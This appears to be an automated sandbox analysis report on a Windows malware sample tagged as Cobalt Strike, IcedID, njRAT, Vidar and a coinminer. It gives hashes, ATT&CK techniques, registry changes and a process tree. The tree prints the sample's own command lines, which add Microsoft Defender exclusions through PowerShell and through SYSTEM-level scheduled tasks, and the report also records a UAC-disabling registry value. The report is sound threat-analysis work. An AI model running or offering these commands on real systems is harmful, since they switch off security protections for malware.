e25f922df6bc16dd9bfcc73e763904417bd8c19bb73790d82276e330a5db92b7

Analysis

max time kernel
137s
max time network
163s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/08/2026, 06:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
Size 53.8MB
Sample260810-grlszaxsdx
SHA256 e25f922df6bc16dd9bfcc73e763904417bd8c19bb73790d82276e330a5db92b7
MD5 9cbea00a6b686079611c72ba0b22129c
SHA1 891d0c2d5fd344589f322da676b151b1f2818685
SHA512 1d6e5d9900340eb8e45c4cab465265f6b41cb5852b9a2a8dfaafa51ea426e35aa0c1bd5e56039651ddd69cd7ad21a63d8a5e99ff484eb069189e1966ef3b2823
SSDEEP 196608:mRnm6/XXV2qJW/uAw1+uyLhAGRjEfM3rG9:irXOLhJRun
TLSH
T1C6C7E803B60ADDD2F546A2348CF582E46339FCF089A5D7437294373A6FBE2885FA1654
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	iDMzCv.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\8BluI5 = "0"	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral2/memory/5760-712-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 10 IoCs

resource	yara_rule
behavioral2/memory/5760-683-0x0000000003660000-0x0000000003E67000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5760-687-0x0000000003660000-0x0000000003E67000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5760-697-0x0000000003660000-0x0000000003E67000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5760-703-0x0000000003660000-0x0000000003E67000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5760-715-0x0000000003660000-0x0000000003E67000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5760-720-0x0000000003660000-0x0000000003E67000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5760-730-0x0000000003660000-0x0000000003E67000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2872-747-0x00000000031F0000-0x00000000039F7000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/2960-760-0x00000000030E0000-0x00000000038E7000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/5760-770-0x0000000003660000-0x0000000003E67000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

UPX dump on OEP (original entry point) 2 IoCs

resource	yara_rule
behavioral2/files/0x00060000000003e6-812.dat	UPX
behavioral2/memory/1744-813-0x0000000000400000-0x000000000053F000-memory.dmp	UPX

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6064	powershell.exe
1296	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	iDMzCv.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
4544	icacls.exe
4884	takeown.exe
4972	icacls.exe
1348	icacls.exe
4316	icacls.exe
1752	icacls.exe
2364	icacls.exe
828	icacls.exe
5132	takeown.exe
3304	icacls.exe
4648	icacls.exe
5304	icacls.exe
5452	icacls.exe
1216	icacls.exe
1688	icacls.exe
1292	icacls.exe
6112	icacls.exe
5724	icacls.exe
1524	icacls.exe
3120	icacls.exe
4764	icacls.exe
3968	icacls.exe
2440	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 5 IoCs

pid	Process
3464	CnEEU3.exe
3840	CnEEU3.exe
5760	iDMzCv.exe
2872	iDMzCv.exe
2960	Z8MTLtW.exe

Loads dropped DLL 5 IoCs

pid	Process
3464	CnEEU3.exe
3840	CnEEU3.exe
5760	iDMzCv.exe
2872	iDMzCv.exe
2960	Z8MTLtW.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3120	icacls.exe
5724	icacls.exe
1348	icacls.exe
828	icacls.exe
6112	icacls.exe
3304	icacls.exe
4648	icacls.exe
1752	icacls.exe
1216	icacls.exe
4544	icacls.exe
4884	takeown.exe
5452	icacls.exe
1524	icacls.exe
4316	icacls.exe
2440	icacls.exe
2364	icacls.exe
1688	icacls.exe
1292	icacls.exe
5132	takeown.exe
4764	icacls.exe
4972	icacls.exe
5304	icacls.exe
3968	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\8BluI5\\CnEEU3.exe\""	CnEEU3.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\YdKAbz\\iDMzCv.exe\""	iDMzCv.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4676	cmd.exe
1092	cmd.exe
1236	cmd.exe
1812	cmd.exe
5968	cmd.exe
3468	cmd.exe
2524	cmd.exe
4892	cmd.exe
3124	cmd.exe
5608	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	CnEEU3.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x00060000000003e6-812.dat	upx
behavioral2/memory/1744-813-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral2/files/0x00040000000003f1-843.dat	upx
behavioral2/memory/1252-846-0x00007FF6A37A0000-0x00007FF6A3BCF000-memory.dmp	upx

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\YdKAbz\image.png	CnEEU3.exe
File opened for modification	C:\Program Files (x86)\TvJ2ma	iDMzCv.exe
File created	C:\Program Files (x86)\TvJ2ma\image.png	iDMzCv.exe
File created	C:\Program Files (x86)\TvJ2ma\thumbs.db	iDMzCv.exe
File created	C:\Program Files (x86)\TvJ2ma\XPSPLOG.dll	iDMzCv.exe
File created	C:\Program Files (x86)\YdKAbz\iDMzCv.exe	CnEEU3.exe
File created	C:\Program Files (x86)\YdKAbz\image.png	CnEEU3.exe
File opened for modification	C:\Program Files (x86)\TvJ2ma\image.png	iDMzCv.exe
File opened for modification	C:\Program Files (x86)\TvJ2ma\thumbs.db	iDMzCv.exe
File opened for modification	C:\Program Files (x86)\YdKAbz\XPSPLOG.dll	CnEEU3.exe
File created	C:\Program Files (x86)\TvJ2ma\Z8MTLtW.exe	iDMzCv.exe
File opened for modification	C:\Program Files (x86)\TvJ2ma\Z8MTLtW.exe	iDMzCv.exe
File opened for modification	C:\Program Files (x86)\YdKAbz\iDMzCv.exe	CnEEU3.exe
File opened for modification	C:\Program Files (x86)\YdKAbz\thumbs.db	CnEEU3.exe
File opened for modification	C:\Program Files (x86)\TvJ2ma\XPSPLOG.dll	iDMzCv.exe
File opened for modification	C:\Program Files (x86)\YdKAbz	CnEEU3.exe
File created	C:\Program Files (x86)\YdKAbz\XPSPLOG.dll	CnEEU3.exe
File created	C:\Program Files (x86)\YdKAbz\thumbs.db	CnEEU3.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5464	sc.exe
4440	sc.exe
5848	sc.exe
5568	sc.exe
4920	sc.exe
3592	sc.exe
2764	sc.exe
3004	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\ScreenSaveActive = "0"	iDMzCv.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	iDMzCv.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\SCRNSAVE.EXE	iDMzCv.exe

Executes a command shell one-liner 1 TTPs 28 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5844	cmd.exe
2060	cmd.exe
2368	cmd.exe
1240	cmd.exe
4716	cmd.exe
3312	cmd.exe
2224	cmd.exe
4172	cmd.exe
5816	cmd.exe
4380	cmd.exe
3332	cmd.exe
3764	cmd.exe
4152	cmd.exe
1708	cmd.exe
1104	cmd.exe
2756	cmd.exe
4628	cmd.exe
4824	cmd.exe
3924	cmd.exe
5392	cmd.exe
5616	cmd.exe
4144	cmd.exe
396	cmd.exe
200	cmd.exe
5008	cmd.exe
5960	cmd.exe
4012	cmd.exe
6044	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iDMzCv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iDMzCv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Z8MTLtW.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	iDMzCv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	iDMzCv.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\ScreenSaveActive = "0"	iDMzCv.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	iDMzCv.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	iDMzCv.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Control Panel\Desktop\SCRNSAVE.EXE	iDMzCv.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4600	schtasks.exe
4172	schtasks.exe
4212	schtasks.exe
4412	schtasks.exe
6060	schtasks.exe
3732	schtasks.exe
4672	schtasks.exe
2240	schtasks.exe
364	schtasks.exe
3444	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
4976	2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe
3464	CnEEU3.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1296	powershell.exe
Token: SeIncreaseQuotaPrivilege	1296	powershell.exe
Token: SeSecurityPrivilege	1296	powershell.exe
Token: SeTakeOwnershipPrivilege	1296	powershell.exe
Token: SeLoadDriverPrivilege	1296	powershell.exe
Token: SeSystemProfilePrivilege	1296	powershell.exe
Token: SeSystemtimePrivilege	1296	powershell.exe
Token: SeProfSingleProcessPrivilege	1296	powershell.exe
Token: SeIncBasePriorityPrivilege	1296	powershell.exe
Token: SeCreatePagefilePrivilege	1296	powershell.exe
Token: SeBackupPrivilege	1296	powershell.exe
Token: SeRestorePrivilege	1296	powershell.exe
Token: SeShutdownPrivilege	1296	powershell.exe
Token: SeDebugPrivilege	1296	powershell.exe
Token: SeSystemEnvironmentPrivilege	1296	powershell.exe
Token: SeRemoteShutdownPrivilege	1296	powershell.exe
Token: SeUndockPrivilege	1296	powershell.exe
Token: SeManageVolumePrivilege	1296	powershell.exe
Token: 33	1296	powershell.exe
Token: 34	1296	powershell.exe
Token: 35	1296	powershell.exe
Token: 36	1296	powershell.exe

Suspicious use of WriteProcessMemory 53 IoCs

description	pid	Process	procid_target
PID 3464 wrote to memory of 1296	3464	CnEEU3.exe	91
PID 3464 wrote to memory of 4676	3464	CnEEU3.exe	93
PID 4676 wrote to memory of 3444	4676	cmd.exe	95
PID 4676 wrote to memory of 2372	4676	cmd.exe	97
PID 3464 wrote to memory of 1236	3464	CnEEU3.exe	100
PID 4676 wrote to memory of 3588	4676	cmd.exe	102
PID 1236 wrote to memory of 4600	1236	cmd.exe	104
PID 3464 wrote to memory of 1812	3464	CnEEU3.exe	105
PID 1236 wrote to memory of 4808	1236	cmd.exe	107
PID 1812 wrote to memory of 4172	1812	cmd.exe	108
PID 1236 wrote to memory of 1708	1236	cmd.exe	110
PID 1812 wrote to memory of 2836	1812	cmd.exe	111
PID 3464 wrote to memory of 5968	3464	CnEEU3.exe	112
PID 1812 wrote to memory of 4440	1812	cmd.exe	113
PID 5968 wrote to memory of 4212	5968	cmd.exe	115
PID 5968 wrote to memory of 4480	5968	cmd.exe	116
PID 3464 wrote to memory of 3468	3464	CnEEU3.exe	121
PID 5968 wrote to memory of 1688	5968	cmd.exe	123
PID 3468 wrote to memory of 4672	3468	cmd.exe	124
PID 3468 wrote to memory of 6104	3468	cmd.exe	125
PID 3468 wrote to memory of 1488	3468	cmd.exe	127
PID 5816 wrote to memory of 1248	5816	cmd.exe	129
PID 5960 wrote to memory of 1252	5960	cmd.exe	130
PID 5008 wrote to memory of 828	5008	cmd.exe	132
PID 2368 wrote to memory of 5332	2368	cmd.exe	133
PID 3464 wrote to memory of 5760	3464	CnEEU3.exe	134
PID 5760 wrote to memory of 4380	5760	iDMzCv.exe	137
PID 5760 wrote to memory of 1240	5760	iDMzCv.exe	139
PID 5760 wrote to memory of 3332	5760	iDMzCv.exe	142
PID 5760 wrote to memory of 3764	5760	iDMzCv.exe	144
PID 5760 wrote to memory of 4012	5760	iDMzCv.exe	146
PID 1240 wrote to memory of 3120	1240	cmd.exe	148
PID 5760 wrote to memory of 4152	5760	iDMzCv.exe	150
PID 5760 wrote to memory of 2524	5760	iDMzCv.exe	149
PID 5760 wrote to memory of 4628	5760	iDMzCv.exe	153
PID 2524 wrote to memory of 4412	2524	cmd.exe	155
PID 4628 wrote to memory of 1216	4628	cmd.exe	251
PID 4152 wrote to memory of 2412	4152	cmd.exe	157
PID 2412 wrote to memory of 4592	2412	net.exe	159
PID 2524 wrote to memory of 4852	2524	cmd.exe	250
PID 4152 wrote to memory of 4440	4152	cmd.exe	161
PID 2524 wrote to memory of 4820	2524	cmd.exe	162
PID 5760 wrote to memory of 4892	5760	iDMzCv.exe	163
PID 5760 wrote to memory of 4824	5760	iDMzCv.exe	165
PID 4152 wrote to memory of 5848	4152	cmd.exe	166
PID 4892 wrote to memory of 2240	4892	cmd.exe	168
PID 4152 wrote to memory of 1452	4152	cmd.exe	169
PID 4824 wrote to memory of 1688	4824	cmd.exe	170
PID 1452 wrote to memory of 3012	1452	net.exe	258
PID 4152 wrote to memory of 5568	4152	cmd.exe	172
PID 5760 wrote to memory of 5844	5760	iDMzCv.exe	173
PID 4152 wrote to memory of 4920	4152	cmd.exe	175
PID 5844 wrote to memory of 1292	5844	cmd.exe	176

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	iDMzCv.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-10_9cbea00a6b686079611c72ba0b22129c_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4976

C:\Users\Public\8BluI5\CnEEU3.exe
"C:\Users\Public\8BluI5\CnEEU3.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\8BluI5\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4676
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\8BluI5\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3444
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2372
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1236
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4600
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4808
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
